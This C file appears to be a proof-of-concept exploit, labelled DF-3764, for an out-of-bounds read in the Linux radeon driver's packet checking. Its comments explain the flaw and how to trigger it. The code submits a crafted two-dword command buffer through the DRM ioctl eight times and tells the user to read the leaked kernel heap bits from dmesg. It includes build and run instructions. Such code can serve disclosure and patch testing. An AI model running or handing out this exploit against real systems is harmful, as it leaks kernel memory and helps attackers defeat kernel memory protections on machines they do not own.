DF-3764 / df3764_oob_read.c
/* DF-3764 — r100_packet3_check() reads IB payload dwords at fixed offsets * without validating pkt->count -> OOB read 1 dword past the IB * chunk end; value reaches dmesg via DRM_ERROR on failure paths. * * Trigger: single PACKET3 3D_DRAW_VBUF (opcode 0x28) with count=0 as the * LAST packet of a 2-dword IB. radeon_cs_packet_parse() only guarantees * pkt->idx + count + 1 < length_dw (radeon_cs.c:768), i.e. ib[0..1] are * in-bounds; the handler (r100.c:2014) then reads * track->vap_vf_cntl = radeon_get_ib_value(p, idx + 1) == ib[2] * one dword PAST the IB sub-allocation. radeon_get_ib_value() * (radeon.h:1098) has no bounds check. * * If the OOB dword's PRIM_WALK bits (4:5) happen to be 3, r100_cs_track_check() * takes the IMMD path, fails the immd_dwords equality (0xFFFFFFFF) and prints * "VAP_VF_CNTL.NUM_VERTICES %u" = (oob >> 16) & 0xFFFF * to the kernel log -> 16 bits of kernel/pool heap memory disclosed per * submission (dmesg world-readable). * * Build: cc -o df3764 df3764_oob_read.c * Run: ./df3764 /dev/dri/renderD128 ; then check: dmesg | grep NUM_VERTICES */ #include <sys/ioctl.h> #include <sys/ioccom.h> #include <fcntl.h> #include <stdio.h> #include <stdint.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> struct rr_cs_chunk { uint32_t chunk_id, length_dw; uint64_t chunk_data; }; struct rr_cs { uint32_t num_chunks, cs_id; uint64_t chunks, gart_limit, vram_limit; }; #define RR_CS 0x26 #define RR_IOCTL_CS _IOWR('d', RR_CS, struct rr_cs) #define RR_CHUNK_ID_IB 0x02 #define RR_CHUNK_ID_FLAGS 0x03 #define PKT3(op, n) ((3u<<30) | (((n)&0x3FFFu)<<16) | (((op)&0xFFu)<<8)) #define PKT3_3D_DRAW_VBUF 0x28 static int fd; static int submit_cs(uint32_t *ib, uint32_t ib_dw) { struct rr_cs_chunk chunks[2]; uint64_t chunk_ptrs[2]; struct rr_cs cs; uint32_t flags[2] = { 0, 0 }; memset(chunks, 0, sizeof(chunks)); chunks[0].chunk_id = RR_CHUNK_ID_IB; chunks[0].length_dw = ib_dw; chunks[0].chunk_data = (uint64_t)(uintptr_t)ib; chunks[1].chunk_id = RR_CHUNK_ID_FLAGS; chunks[1].length_dw = 2; chunks[1].chunk_data = (uint64_t)(uintptr_t)flags; chunk_ptrs[0] = (uint64_t)(uintptr_t)&chunks[0]; chunk_ptrs[1] = (uint64_t)(uintptr_t)&chunks[1]; memset(&cs, 0, sizeof(cs)); cs.num_chunks = 2; cs.chunks = (uint64_t)(uintptr_t)chunk_ptrs; return ioctl(fd, RR_IOCTL_CS, &cs); } int main(int argc, char **argv) { const char *node = argc > 1 ? argv[1] : "/dev/dri/renderD128"; uint32_t ib[2]; int i; fd = open(node, O_RDWR); if (fd < 0) { perror(node); return 1; } /* IB of exactly 2 dwords: type3 DRAW_VBUF header + 1 payload dword. * Parse check passes: 0 + 0 + 1 < 2. Handler reads ib[2] -> OOB. */ ib[0] = PKT3(PKT3_3D_DRAW_VBUF, 0); ib[1] = 0x00000000; /* in-bounds dword (ignored by handler) */ for (i = 0; i < 8; i++) { if (submit_cs(ib, 2) == 0) printf("[%d] CS accepted -> OOB dword consumed as VAP_VF_CNTL\n", i); else printf("[%d] CS rejected (%s) -- OOB value still parsed\n", i, strerror(errno)); } printf("now inspect kernel log for leaked OOB dword:\n"); printf(" dmesg | grep -E 'NUM_VERTICES|primitive walk|no buffer'\n"); return 0; } |